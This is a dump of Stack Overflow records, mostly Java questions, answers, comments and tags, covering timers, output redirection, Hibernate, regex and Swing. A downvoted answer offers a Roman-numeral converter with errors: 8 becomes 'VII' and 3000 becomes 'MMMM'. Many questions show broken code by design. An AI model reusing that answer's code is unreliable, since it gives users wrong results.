has body: public class Test { public static void main(String[] args) { System.out.println(ConverttoNumerals(53)); } private static String ConverttoNumerals (int newinteger){ String Roman = ""; String Romant=""; String Romanh = ""; String Romanq = ""; int number = newinteger; int ones = number % 10; if (ones == 1){ Roman = "I";} else if ( ones == 2){ Roman = "II";} else if (ones == 3){ Roman = "III";} else if (ones == 4){ Roman = "IV";} else if (ones == 5){ Roman = "V";} else if (ones == 6){ Roman = "VI";} else if (ones == 7){ Roman = "VII";} else if (ones == 8 ){ Roman = "VII";} else if (ones == 9){ Roman = "IX";} else if (ones == 0){ Roman = ""; } int tenths = ((number / 10) % 10); if (tenths == 1){ Romant = "X";} else if (tenths == 2){ Romant = "XX";} else if (tenths == 3){ Romant = "XXX";} else if (tenths == 4){ Romant = "XL";} else if (tenths == 5){ Romant = "L";} else if (tenths == 6){ Romant = "LX";} else if (tenths == 7){ Romant = "LXX";} else if (tenths == 8 ){ Romant = "LXXX";} else if (tenths == 9){ Romant = "XC";} int hundredths = ((number/100)%10) ; if (hundredths == 1){ Romanh = "C";} else if (hundredths == 2){ Romanh = "CC";} else if (hundredths == 3){ Romanh = "CCC";} else if (hundredths == 4){ Romanh = "CD";} else if (hundredths == 5){ Romanh = "D";} else if (hundredths == 6){ Romanh = "DC";} else if (hundredths == 7){ Romanh = "DCC";} else if (hundredths == 8){ Romanh = "DCCC";} else if (hundredths == 9){ Romanh = "CM";} int thousandth = ((number/1000)%10); if (thousandth == 1){ Romanq = "M";} else if (thousandth == 2){ Romanq = "MM";} else if (thousandth == 3){ Romanq = "MMMM";} return Romanq+Romanh+Romant+Roman; } } When you program in java please use naming conventions. I haven't used in this program because i am too lazy to edit all those. :-P
has comment: http://stackoverflow.com/comment/33779444
answers question: http://stackoverflow.com/q/22242726
downvote count: 1
has comment: http://stackoverflow.com/comment/33779500
has comment: http://stackoverflow.com/comment/33779381
score: -1
upvote count: 0
has comment: http://stackoverflow.com/comment/33779194
has comment: http://stackoverflow.com/comment/33779420
type: Answer

http://stackoverflow.com/q/22286218
has comment: http://stackoverflow.com/comment/33869728
has comment: http://stackoverflow.com/comment/33869056
has comment: http://stackoverflow.com/comment/33869005
has comment: http://stackoverflow.com/comment/33859221
has comment: http://stackoverflow.com/comment/33857857
has comment: http://stackoverflow.com/comment/33868962
score: 0
has title: Scheduling Two Separate Timers in Java and changing Period of one timer
has comment: http://stackoverflow.com/comment/33868858
tagged with: java
tagged with: timertask
has comment: http://stackoverflow.com/comment/33857634
has comment: http://stackoverflow.com/comment/33857849
has body: I have two Timers in java that are scheduled independently. Both timers have different Task. Timer 1 increments a number and Timer 2 changes the period of Timer 1. Here is the code where I am using two timers public class Receiver { public static int totalBufferCapacity = 1024; public static int totalPacketsDropped = 0; public static int totalPacketsServiced = 0; public static int totalPacketsReceived = 0; public static int timesBufferGetsFull = 0; public static int timesIntervelChanged = 0; public static Socket clientSocket; public static BufferedReader br; public static ArrayList&lt;String&gt; buffer; public static String START = "Start"; public static String STOP = "Stop"; public static String token = "1"; public static boolean flag; public static Timer timer; public static int Max = 80; public static int Min = 40; public static int rand; public static PrintStream ps; public static String packet; public static Timer timer_2; public static consumeArrayItems task; public static void main(String[] args) { flag = true; try { init(args[0], args[1]); while (flag) { storePacketInArray(); } } catch (Exception e) { e.printStackTrace(); } } public static void init(String localHost, String portNumber) { try { // inet address which is local host in this case InetAddress acceptorHost = InetAddress.getByName(localHost); // port number at which the sender wants to communicate int serverPortNum = Integer.parseInt(portNumber); clientSocket = new Socket(acceptorHost, serverPortNum); } catch (IOException e) { e.printStackTrace(); } } public static void storePacketInArray() { try { if (br == null) { br = new BufferedReader(new InputStreamReader(clientSocket.getInputStream())); } packet = new String(br.readLine()); if (packet.compareToIgnoreCase("Start") == 0) { token = START; buffer = new ArrayList&lt;String&gt;(totalBufferCapacity); } else if (packet.compareToIgnoreCase("Stop") == 0) { stopVaryingTimeSchedular(); stopSchedular(); } else { totalPacketsReceived += 1; buffer.add(packe…
has comment: http://stackoverflow.com/comment/33858435
has comment: http://stackoverflow.com/comment/33857728
answer count: 0
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/2098642
type: Question
has comment: http://stackoverflow.com/comment/33900177
has comment: http://stackoverflow.com/comment/33868625
tagged with: timer
has comment: http://stackoverflow.com/comment/33857645

http://stackoverflow.com/comment/33741892
type: Comment
has text: can't determine hehe i just got it that if an error occurs then whoops... will print.
comment on: http://stackoverflow.com/a/22222124
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33898752
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22309066
has text: I don't think you want your runnable inside the loop do you?
score: 0

http://stackoverflow.com/q/22241024
linked to: http://stackoverflow.com/q/5712764
has comment: http://stackoverflow.com/comment/33775813
score: 0
answer count: 3
type: UnansweredQuestion
has title: system.out.println redirection in java
tagged with: java
type: Question
has body: I want to catch the println and redirect to a file and print it here is my code, I wish to print 123 /n 456 but that doesn't work and I think I need something to stop the catching before I print the outContent but I don't know how to do it. public static void main(String args[]){ ByteArrayOutputStream outContent = new ByteArrayOutputStream(); System.setOut(new PrintStream(outContent)); System.out.println("123"); System.out.println("456"); System.out.println(outContent.toString()); }
linked to: http://stackoverflow.com/q/17247688
has answer: http://stackoverflow.com/a/22241169
has answer: http://stackoverflow.com/a/22241087
has answer: http://stackoverflow.com/a/22241086

generics
tags question: http://stackoverflow.com/q/22293335
tags question: http://stackoverflow.com/q/22269706
tags question: http://stackoverflow.com/q/22308668
tags question: http://stackoverflow.com/q/22185706
tags question: http://stackoverflow.com/q/22205684
tags question: http://stackoverflow.com/q/22281553
tags question: http://stackoverflow.com/q/22198829
tags question: http://stackoverflow.com/q/22290467
tags question: http://stackoverflow.com/q/22280055
tags question: http://stackoverflow.com/q/22284051
tags question: http://stackoverflow.com/q/22321155
tags question: http://stackoverflow.com/q/22174022
tags question: http://stackoverflow.com/q/22327022
tags question: http://stackoverflow.com/q/22203257
tags question: http://stackoverflow.com/q/22263803
tags question: http://stackoverflow.com/q/22206717
tags question: http://stackoverflow.com/q/22187714
tags question: http://stackoverflow.com/q/22210891
tags question: http://stackoverflow.com/q/22273752
tags question: http://stackoverflow.com/q/22244995
type: Tag
tags question: http://stackoverflow.com/q/22273034
tags question: http://stackoverflow.com/q/22277998
tags question: http://stackoverflow.com/q/22235343
tags question: http://stackoverflow.com/q/22280013
tags question: http://stackoverflow.com/q/22308244
tags question: http://stackoverflow.com/q/22186654
tags question: http://stackoverflow.com/q/22326901
tags question: http://stackoverflow.com/q/22244398
tags question: http://stackoverflow.com/q/22276587
tags question: http://stackoverflow.com/q/22254618
tags question: http://stackoverflow.com/q/22218247
tags question: http://stackoverflow.com/q/22181317
tags question: http://stackoverflow.com/q/22260190
tags question: http://stackoverflow.com/q/22222263
tags question: http://stackoverflow.com/q/22199641
tags question: http://stackoverflow.com/q/22307331
tags question: http://stackoverflow.com/q/22317232
tags question: http://stackoverflow.com/q/22207603
tags question: http://stackoverflow.com/q/22197396
tags question: http://stackoverflow.com/q/22199627
tags question: http://stackoverflow.com/q/22271779
tags question: http://stackoverflow.com/q/22192809
tags question: http://stackoverflow.com/q/22293264
tags question: http://stackoverflow.com/q/22194523
tags question: http://stackoverflow.com/q/22259737
tags question: http://stackoverflow.com/q/22246518
tags question: http://stackoverflow.com/q/22301132
tags question: http://stackoverflow.com/q/22260821
tags question: http://stackoverflow.com/q/22203854
tags question: http://stackoverflow.com/q/22234569
tags question: http://stackoverflow.com/q/22180884
tags question: http://stackoverflow.com/q/22177770
tags question: http://stackoverflow.com/q/22169373
tags question: http://stackoverflow.com/q/22311654
tags question: http://stackoverflow.com/q/22248716
tag name: generics
tags question: http://stackoverflow.com/q/22242793
tags question: http://stackoverflow.com/q/22264437
tags question: http://stackoverflow.com/q/22286878

http://stackoverflow.com/comment/33757772
comment on: http://stackoverflow.com/q/22231525
score: 0
type: Comment
type: QuestionComment
has text: possible duplicate of [Is there a difference between x++ and ++x in java?](http://stackoverflow.com/questions/1094872/is-there-a-difference-between-x-and-x-in-java)

http://stackoverflow.com/q/22174406
answer count: 1
favorite count: 0
upvote count: 2
accepted answer: http://stackoverflow.com/a/22191300
type: AnsweredQuestion
has body: i have a problem with Apache-Karaf 3.0.0 on Ubuntu I want to start a bundle with the command "start". But i get the follow error: Error executing command: Insufficient credentials. Also "start --help" prompt this error. The command "list" and "list --help" works perfect. What can i do?
tagged with: java
has title: Karaf start results Insufficient credentials
type: Question
tagged with: apache-karaf
tagged with: karaf
has answer: http://stackoverflow.com/a/22191300
score: 2
downvote count: 0

http://stackoverflow.com/comment/70057424
comment on: http://stackoverflow.com/a/23923343
type: Comment
has text: Chromium remoting seems to do CGEventPost for keyboard events in pre login, and it works, can you check and tell? https://cs.chromium.org/chromium/src/remoting/host/input_injector_mac.cc?rcl=0&l=50
score: 0
type: AnswerComment

http://stackoverflow.com/q/22183382
tagged with: jhat
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33673908
tagged with: java
type: Question
tagged with: jboss
has comment: http://stackoverflow.com/comment/33674291
has title: How do I trace jmap/jhat output back to lines in my code that are causing PermGen OutOfMemory errors?
tagged with: permgen
score: 0
has comment: http://stackoverflow.com/comment/33673764
has body: I’m using JBoss 7.1.3, JDK 1.6, and Mac 10.9.1. After a number of deploys/undeploys of my WAR file using the Maven Jboss AS plugin, my server dies with the below error … 15:05:10,120 ERROR [org.xnio.listener] (Remoting "daves-macbook-pro:MANAGEMENT" read-1) A channel event listener threw an exception: java.lang.OutOfMemoryError: PermGen space sudo jmap -dump:format=b,file=/tmp/leak 16274 sudo jhat -J-Xmx2048m /private/tmp/leak But when I visit the resulting page, http://locohost.mymachine.com:7000/ (except it says "localhost" and not "locohost.mymachine.com"), the output is totally illegible. There are a bunch of lines with references to classes we’ve written, for example Package org.mainco.subco.myproject.interaction.domain class org.mainco.subco.myproject.interaction.domain.Note [0x2d145258] class org.mainco.subco.myproject.interaction.domain.NoteDto [0x2a8de180] class org.mainco.subco.myproject.interaction.domain.Note_ [0x2baa5980] But how do I trace that back to parts of our code that are contributing to these PermGen errors?
answer count: 1
has comment: http://stackoverflow.com/comment/33827001
has answer: http://stackoverflow.com/a/22200975
tagged with: out-of-memory

http://stackoverflow.com/comment/33813383
type: Comment
score: 0
type: AnswerComment
has text: using the BeanShell interpreter, it is possible to interpret for loops? i have attempted this: srcCode contains : "HashSet hs = new HashSet(); int i=0; for(i=0;i<10;i=i+2){ hs.add(i); }" and bsh.set("hs", hs); bsh.eval("import java.lang.String;"); bsh.eval(srcCode); but its giving me error"line 2 column 11, encountered EOF"
comment on: http://stackoverflow.com/a/22202153

http://stackoverflow.com/q/22316591
score: 0
tagged with: settext
answer count: 1
tagged with: string
tagged with: jlabel
has answer: http://stackoverflow.com/a/22316628
accepted answer: http://stackoverflow.com/a/22316628
has body: I have a char[xSize][ySize] being sent to my GUI. The GUI prints the long string as one long line without recognizing the new lines in it. What method or code could I use? The code I currently use is: JFrame frame1 = new JFrame("Start Screen"); JLabel label = new JLabel(); frame1.setVisible(true); frame1.setSize(500, 500); frame1.setLayout(new BorderLayout()); frame1.add(label, BorderLayout.NORTH); //Code to recieve from other program: DatagramPacket receivePacket = new DatagramPacket(receiveData, receiveData.length); String Sentence = new String(receivePacket.getData()); //Print received text to GUI: label.setText(Sentence); Thanks in advance
type: AnsweredQuestion
has title: How to make Java GUI settext recognize new lines for a 2 dimensional array input
tagged with: swing
type: Question
tagged with: java

http://stackoverflow.com/comment/33904666
type: QuestionComment
type: Comment
has text: All build files inlined.
comment on: http://stackoverflow.com/q/22305409
score: 0

http://stackoverflow.com/q/22249573
has answer: http://stackoverflow.com/a/22250025
has body: I have a ServiceExecutor and runs a long routine (webervices calls, DB updates, user updates etc). As these routines can cause several errors, I'd like to catch lots of them in one single place. Therefore I wrapped it with trycatch. But each exception should get a custom error handling, so will have 5-10 lines of code to resolve the error. Problem: my runLongRoutine() gets too big, so I somehow have to factor the error handling out. But I do not want to rethrow these exeptions as any class using runLongRoutine() should not care about errors, and must not even know that errors might occure. How could I adapt the error handling here? Is there a design pattern I could chose? class ServiceExecutor { void runLongRoutine() { try { several(param1); calls(); to(param2); different(param3, param1); methods(); } catch (CustomException e) { //5-10 lines of code } catch (IOException e) { //5-10 lines of code } catch (NetworkException e) { //5-10 lines of code } //to be continued } }
favorite count: 0
answer count: 3
tagged with: exception
has answer: http://stackoverflow.com/a/22249725
has answer: http://stackoverflow.com/a/22250100
has title: ErrorHandler for resolving multiple exceptions in a single place?
possible better answer: http://stackoverflow.com/a/22249725
score: 1
accepted answer: http://stackoverflow.com/a/22250025
upvote count: 1
tagged with: design-patterns
type: AnsweredQuestion
tagged with: java
type: Question
downvote count: 0

http://stackoverflow.com/q/22268706
type: Question
tagged with: native
has title: Where can I see the definitions of native methods in java?
score: 0
duplicate of: http://stackoverflow.com/q/6502131
answer count: 1
has comment: http://stackoverflow.com/comment/33825685
has body: Using eclipse, I see that methods like System.nanotime() or System.arraycopy() are native. However I could not see the definitions of these methods. Where are can I find the definitions , and more importantly what language are those methods written in ?
has answer: http://stackoverflow.com/a/22268802
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/6502131
tagged with: java

http://stackoverflow.com/comment/33741732
type: AnswerComment
has text: I think what I have done is another way of doing what you are suggesting. See bean definition for `dbPropertyReader`.
type: Comment
comment on: http://stackoverflow.com/a/22222150
score: 1

http://stackoverflow.com/q/22194815
tagged with: paypal
type: AnsweredQuestion
tagged with: playframework-2.0
score: 3
downvote count: 0
tagged with: java
type: Question
answer count: 1
favorite count: 0
upvote count: 3
has answer: http://stackoverflow.com/a/22194959
accepted answer: http://stackoverflow.com/a/22194959
has body: I downloaded PayPal API jars from grepcode and , and my java code is compiling successfully, but i want to access java code into my playFramework controller object PayPalController extends Controller { def initialize = Action { val ack=PayPalDAO.initialize().getAck().toString() // returning SetExpressCheckoutResponseType // I'm accessing here my JavaCallss models.PayPalDAO.java println(ack); Ok("") }
tagged with: dependencies
has title: Issue in PlayFramework for external Jars
tagged with: scala

http://stackoverflow.com/comment/33689495
type: AnswerComment
score: 0
type: Comment
has text: No Abhishek, It will not affect on performance. It is working as same as other listener working, for Example onClickListener.
comment on: http://stackoverflow.com/a/22192585

http://stackoverflow.com/a/22191832
type: Answer
answers question: http://stackoverflow.com/q/22191809
has comment: http://stackoverflow.com/comment/33687870
has body: You cannot overload operators in Java. The subtraction operator is only defined for numeric types. What would you expect that to produce for, say, a Pair&lt;String&gt;? What about a Pair&lt;Socket&gt; or a Pair&lt;java.sql.Driver&gt;?
has comment: http://stackoverflow.com/comment/33687228
score: 0

http://stackoverflow.com/q/22241283
answer count: 2
has comment: http://stackoverflow.com/comment/33776514
favorite count: 0
has comment: http://stackoverflow.com/comment/33776641
downvote count: 5
type: UnansweredQuestion
score: -3
has title: Java program to use three methods together and call each at a time
has answer: http://stackoverflow.com/a/22241432
has comment: http://stackoverflow.com/comment/33776318
has body: I am trying to create a Java program to prompt the user to enter a DNA sequence and use validate() method. Then, after the DNA is validated, I wanted to get the length of my validated DNA sequence using another getLength() method. Then, I want to use count() method to count T and A bases in my validated DNA sequence, calculate the percentage of each. This is what I got so far. I am not getting the result. I can get the DNA but the length and TAcount is not giving result. Can somebody help? import java.util.Scanner; public class dnaseq { // using first method validate() - prompt the user for the DNA and confirms it is DNA seq // public static void Validate(String[] args) { Scanner user_input = new Scanner(System.in); System.out.print("Enter DNA: "); String dna = user_input.next(); for (int i=0; i &lt; dna.length(); i++){ char base=dna.charAt(i); if (base !='T' &amp;&amp; base !='A' &amp;&amp; base !='C' &amp;&amp; base !='G'){ System.out.println ("Wrong input!"); } else { System.out.println ( dna); }}} //After getting the dna sequence, use getLength() to get the length of dna seq// public int getLength(){ int length=0; int n=0; for(int j = 0; j &lt; dna.length(); j++){ char base=dna.charAt(j); if (base !='T' &amp;&amp; base !='A' &amp;&amp; base !='C' &amp;&amp; base !='G'){ System.out.println (+n); } return n;} //use TAcount to get % of T and A bases in your DNA seq above// static double TAcount( double count) { double count = 0.0; for(int k = 0; k &lt; dna.length(); k++){ char base=dna.charAt(k); if (base !='T'){ count = count + 1.0;} if (base !='A'){ count = count + 1.0;} } if (dna.length()&gt; 0){ T_base = dna.TAcount('T'); A_base = dna.GTcount('A'); T_percent = G_base / dna.length() *100; A_percent = T_base / dna.length() *100; } System.out.println(T_percent); System.out.println(A_percent); }
has answer: http://stackoverflow.com/a/22241581
tagged with: java
tagged with: methods
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/33776298

http://stackoverflow.com/a/22250487
downvote count: 0
answers question: http://stackoverflow.com/q/22250281
type: Answer
upvote count: 5
has body: I added the code to work out the correct suffix as this isn't part of the standard JDK. To be fair that's probably the only bit of this question that isn't just a SimpleDateFormat#format() call. static String[] suffixes = // 0 1 2 3 4 5 6 7 8 9 { "th", "st", "nd", "rd", "th", "th", "th", "th", "th", "th", // 10 11 12 13 14 15 16 17 18 19 "th", "th", "th", "th", "th", "th", "th", "th", "th", "th", // 20 21 22 23 24 25 26 27 28 29 "th", "st", "nd", "rd", "th", "th", "th", "th", "th", "th", // 30 31 "th", "st" }; public static void main(String args[]) throws ParseException { String string = "2013-01-10 09:49:19"; Date date = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.ENGLISH).parse(string); SimpleDateFormat dayFormat = new SimpleDateFormat("dd"); SimpleDateFormat monthFormat = new SimpleDateFormat("MMM"); String dayStr = dayFormat.format(date) + suffixes[Integer.parseInt(dayFormat.format(date))] + " " + monthFormat.format(date) + "."; System.out.println(dayStr); }
score: 5
accepted answer of: http://stackoverflow.com/q/22250281
type: AcceptedAnswer

http://stackoverflow.com/comment/33909369
comment on: http://stackoverflow.com/a/22314783
has text: Yes exactly and if I do update the x and y coordinates the bullet just follows my ship around
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/22247827
tagged with: java
has answer: http://stackoverflow.com/a/24046673
type: Question
has body: I am trying to understand how JVM internally implements an array of primitive type, like int [] My question is in two parts: 1 - Does it use a ByteBuffer internally? Where can I find the source code and then perhaps change it according to my needs (to make a modified JVM of my own). 2 - Is there any way to trick javac to not use the build-in implementation of int [] but rather use an implementation provided by a library in lets say classpath -cp? Is this possible and how? My motivation is to declare this int [] in a memory outside of JVM (using allocateDirect()) and access it outside from a native JNI code. This should avoid the memory copy overhead. -B
tagged with: performance
tagged with: java-native-interface
tagged with: arrays
answer count: 2
has title: How Java int[ ] array is implemented inside JVM?
downvote count: 0
tagged with: jvm
favorite count: 0
type: UnansweredQuestion
score: 6
upvote count: 6
has answer: http://stackoverflow.com/a/22247935

http://stackoverflow.com/a/22300578
has body: If the xml elements are same and repetitive Create an object with the attributes as the elements with getter/setters. Parse the xml data and store the value in the object.
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22300497

glassfish-2.x
tags question: http://stackoverflow.com/q/22233383
type: Tag
tag name: glassfish-2.x

http://stackoverflow.com/a/42580709
has body: In a maven project using log4j2, it is possible to exclude log4j from modules that use it, in the pom, in order to enable log4j2 to take over: commons-configuration commons-configuration 1.4 log4j log4j org.apache.logging.log4j log4j-api 2.3 org.apache.logging.log4j log4j-core 2.3 org.apache.logging.log4j log4j-1.2-api 2.3 org.apache.logging.log4j log4j-web 2.3 More info about that in the log4j FAQ
type: Answer
has comment: http://stackoverflow.com/comment/74217986
has comment: http://stackoverflow.com/comment/74220727
score: 4
upvote count: 4
answers question: http://stackoverflow.com/q/22321109
downvote count: 0
has comment: http://stackoverflow.com/comment/74221109
has comment: http://stackoverflow.com/comment/74192386

http://stackoverflow.com/comment/33765818
has text: In other words, you can use `hashCode` as the first check in your `equals` method, and return false if they hashcodes are not the same, but if the hashcodes are equal, you still need to do the other checks.
type: Comment
comment on: http://stackoverflow.com/a/22235448
type: AnswerComment
score: 2

http://stackoverflow.com/comment/33705763
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/22202170
has text: are you trying to invoke a separate application (separate JAR and in a different classloader) or just trying to perform the **same operations as the code contained in that main method**?
type: Comment

http://stackoverflow.com/q/22301297
tagged with: character
possible better answer: http://stackoverflow.com/a/22301424
tagged with: regex
type: AnsweredQuestion
has body: So i have a string H and I want to scan the string and check if the letter at a point is Capital and if it is: store the position of that capital letter in an array. I believe Regex is the tool I want to use but I'm unable to decipher how it works. is there any way to do something like: int i = 0; int j = 0; int length = H.length() int[] positionalarray = new int[length]; while(i &lt; length) { if(H[i]isCapital) //or something along those lines: { positionalarray[j] = i; j++; } } where the crux of the solution is 'what is the correct syntax to simulate' H[i]isCapital
accepted answer: http://stackoverflow.com/a/22301412
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/22301424
has answer: http://stackoverflow.com/a/22301412
has title: Identifying capital letters in a string and the position
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/33884490
has comment: http://stackoverflow.com/comment/33884209
tagged with: string

http://stackoverflow.com/comment/33836618
score: 0
comment on: http://stackoverflow.com/a/22274731
type: AnswerComment
type: Comment
has text: Thanks for the implementation here.

http://stackoverflow.com/q/22248814
type: Question
possible better answer: http://stackoverflow.com/a/22248956
has answer: http://stackoverflow.com/a/22248956
has body: I have a long string in this format (a long single line in file): "1":"Aname","2":"AnotherName","3":"Sempronio" I want to extract the number and the name and save them on a Map. I tried this: FileReader fileReader = null; BufferedReader br = null; File file = new File("./SingleLineFileNames.txt"); try { fileReader = new FileReader(file); br = new BufferedReader(fileReader); String line; Pattern p = Pattern.compile("\"(\\d+)\":\"([\\w-.' ]+)\""); Matcher matcher; while((line = br.readLine()) != null) { matcher = p.matcher(line); String name; int i = 1; while((name = matcher.group(i)) != null){ // save in map i++; } } } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } finally { try { br.close(); fileReader.close(); } catch (IOException e) { e.printStackTrace(); } } return null; result is java.lang.IllegalStateException: No match found It's the right way to iterate on groups? Where I wrong?
score: 0
answer count: 3
tagged with: file-io
has title: Regex extract string, why my pattern don't works?
tagged with: regex
has comment: http://stackoverflow.com/comment/33789205
has answer: http://stackoverflow.com/a/22248861
accepted answer: http://stackoverflow.com/a/22248861
has answer: http://stackoverflow.com/a/22248896
type: AnsweredQuestion
tagged with: java

http://stackoverflow.com/q/22190321
score: 0
has comment: http://stackoverflow.com/comment/33684174
answer count: 1
type: UnansweredQuestion
has title: Java Applet For-Loop to Stop Paint after 5 iterations
tagged with: swing
has answer: http://stackoverflow.com/a/22190414
tagged with: java
type: Question
tagged with: draw
has body: I'm very new to this so bear with me. I've made an applet that produces a fan shape starting in the upper left-hand corner of the frame (0,0). The program draws 200 randomly colored lines moving from the top to the bottom of the applet. It them reverses the process and leaves you with a blank applet frame. I want to have this iterate 5 times however my attempts at using a for-loop have not been successful. The code I'm using in the for loop is: for (int times = 0; times &lt; 5; times++) { if (painting) I have a Boolean in the Main class for painting. boolean painting=true; I've resorted to repeating the code 5 times, but I know there should be a better way using a for-loop. My code with the 5 repeats: import java.awt.Color; import java.awt.Graphics; import java.util.Random; import javax.swing.JApplet; public class Main extends JApplet { private static Random rand = new Random(); public void init() { setBackground(Color.WHITE); setSize(400, 300); } public void paint(Graphics g) { for (int i = 0; i &lt; 200; i++) { Wait.holdOn(10); g.setColor(new Color(rand.nextInt(0xFFFFFF))); g.drawLine(0, 0, 200 - i, i); } for (int i = 0; i &lt; 200; i++) { Wait.holdOn(10); g.setColor(getBackground()); g.drawLine(0, 0, i, 200 - i); } for (int i = 0; i &lt; 200; i++) { Wait.holdOn(10); g.setColor(new Color(rand.nextInt(0xFFFFFF))); g.drawLine(0, 0, 200 - i, i); } for (int i = 0; i &lt; 200; i++) { Wait.holdOn(10); g.setColor(getBackground()); g.drawLine(0, 0, i, 200 - i); } for (int i = 0; i &lt; 200; i++) { Wait.holdOn(10); g.setColor(new Color(rand.nextInt(0xFFFFFF))); g.drawLine(0, 0, 200 - i, i); } for (int i = 0; i &lt; 200; i++) { Wait.holdOn(10); g.setColor(getBackground()); g.drawLine(0, 0, i, 200 - i); } for (int i = 0; i &lt; 200; i++) { Wait.holdOn(10); g.setColor(new Color(rand.nextInt(0xFFFFFF))); g.drawLine(0, 0, 200 - i, i); } for (int i = 0; i &lt; 200; i++) { Wait.holdOn(10); g.setColor(getBackground()); g.drawLine(0, 0, i, 200 - i); } for (int i = 0; i &lt; 200; i+…
tagged with: for-loop
tagged with: applet

http://stackoverflow.com/q/22251511
linked to: http://stackoverflow.com/q/1995080
type: Question
tagged with: java
tagged with: hibernate
has answer: http://stackoverflow.com/a/22259851
score: 0
has body: In my entities I have to use fetch = FetchType.EAGER because I have a mistake: nested exception is org.hibernate.LazyInitializationException: failed to lazily initialize a collection of role: "field should haver FetchType.EAGER", could not initialize proxy - no Session If I use this then my app goes correct, but the time execution is too, between page and page around 7 seconds (now bbdd has little data) I have two problems. If I put FetchType.LAZY my app does not work If I put FetchType.EAGER my app has a lot of time of execution PF.class (Entity) @OneToMany(fetch = FetchType.EAGER, mappedBy = "pf", cascade = CascadeType.ALL) private Set&lt;HDSEntity&gt; hardwareDeviceStocks = new HashSet&lt;HDSEntity&gt;(); @OneToMany(fetch = FetchType.EAGER, mappedBy = "pf", cascade = CascadeType.ALL) private Set&lt;BSEntity&gt; bS = new HashSet&lt;BSEntity&gt;(); @OneToMany(cascade = CascadeType.ALL, mappedBy = "pf", fetch = FetchType.EAGER) private Set&lt;CEntity&gt; cp = new HashSet&lt;CEntity&gt;(); HDS.class (Entity) @ManyToOne(cascade = {CascadeType.ALL}) @JoinColumn(name = "fk_pf") private PFEntity pf; BS.class (Entity) @ManyToOne(cascade = CascadeType.ALL) @JoinColumn(name = "fk_pf") private PFEntity pf; Thanks. ;)
answer count: 2
has title: FetchType.EAGER a lot of time of execution
tagged with: jpa
has answer: http://stackoverflow.com/a/22252249
type: UnansweredQuestion

http://stackoverflow.com/comment/33816245
has text: This is a great link. Thanks for the info.
comment on: http://stackoverflow.com/q/22262249
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22325172
downvote count: 1
type: Question
has body: I have a shell script which executes some jar file. The jar file that is being executed asks some data which has to be entered from the console. Now i want to create a java program that executes this shell script and also passes the data that is being asked by the jar files at the run-time. Can anyone guide me on how to do this.
score: -1
has title: Executing a shell script from java code and passing data
has answer: http://stackoverflow.com/a/22325417
answer count: 2
upvote count: 0
tagged with: shell
favorite count: 0
type: UnansweredQuestion
tagged with: java
has answer: http://stackoverflow.com/a/22325292

http://stackoverflow.com/q/22295216
has comment: http://stackoverflow.com/comment/33873434
has comment: http://stackoverflow.com/comment/33873936
accepted answer: http://stackoverflow.com/a/22295425
tagged with: java.util.scanner
has comment: http://stackoverflow.com/comment/33873955
has comment: http://stackoverflow.com/comment/33873620
has body: I have following code: String inputString; Scanner in = new Scanner(System.in); while (true) { System.out.print("jcp&gt;"); inputString = in.nextLine(); String[] tokens = inputString.split(" "); switch (tokens[0]) { case "new": createNewInstance(tokens); break; case "call": callMethod(tokens); break; case "print": Object obj = hashMap.get(tokens[1]); print(obj); break; default: System.out.println("Illegal command!"); break; } } I simply want the program to break out of while loop when user hits ctrl+Z
has comment: http://stackoverflow.com/comment/33873565
type: AnsweredQuestion
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/22295425
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/33873646
possible better answer: http://stackoverflow.com/a/22295350
has comment: http://stackoverflow.com/comment/33873592
has title: Terminate Java Program on Ctrl+Z input from user
has answer: http://stackoverflow.com/a/22295350

http://stackoverflow.com/a/22322924
upvote count: 3
accepted answer of: http://stackoverflow.com/q/22322852
answers question: http://stackoverflow.com/q/22322852
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33922532
has body: Looks like you have copied and pasted from HTML. for (int i = 0; i &amp;lt; devices.length; i++) the &amp;lt should be &lt;. Also System.out.print(Integer.toHexString(b &amp;amp; 0xff) + ":"); &amp;amp; should be &amp;.
type: Answer
score: 3

http://stackoverflow.com/comment/33924732
has text: I would like to use some funcional programing approaches like pattern matching. This criteria is very important. I like fuctional programing style and I like Java as well. Thank you for answering.
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/22323824

http://stackoverflow.com/q/22311070
tagged with: java
type: Question
score: 0
tagged with: soundpool
answer count: 1
tagged with: media-player
has answer: http://stackoverflow.com/a/22311188
tagged with: android
has title: How to connect the inputstream to a sounpool or mediaplayer?
has body: Ok guys, it's me again. I'm trying to record internal audio playing from within the phone. I don't want to capture poor audio from the microphone, I would rather capture the audio from media player or soundpool. How do I connect the inputstream to a mediaplayer or sounpool? I would like to point out that I have multiple soundpools playing multiple samples so i would need to set the input stream to an array of soundpool objects or, i can set it to only one sound pool object and change the sound that is played through that object through an array. I say all that because it's a music app. say for instance there are 4 buttons with 4 separate music clips that play for 3 seconds a piece, how can i just play them for however long i want to and then i can save the finished product. so i would press startREC and then play the sounds playing though the one sound pool and then i can stop pause and wait for a second and then play some more buttons and stop the recording and i have a clean crisp non microphone recording. How can i do that? public void newMETH() throws Exception { URL url = new URL("http://myradio,com/stream.mp3"); AssetFileDescriptor afd = this.getAssets().openFd("sound.ogg"); sp.load(afd, 1); }; public void startREC() throws Exception { in = getAssets().open("aabbccdd.mp3"); File outFolder = new File(root.getAbsolutePath() + "/clxxxii"); outFolder.mkdir(); File outFile = new File(outFolder, "ooooooooohhhigetit.mp3"); out = new FileOutputStream(outFile); }; public void stopREC() throws Exception { copyFile(in, out); in.close(); in = null; out.flush(); out.close(); out = null; } private void copyFile(InputStream in, OutputStream out) throws IOException { byte[] buffer = new byte[1024]; int read; while ((read = in.read(buffer)) != -1) { out.write(buffer, 0, read); } }
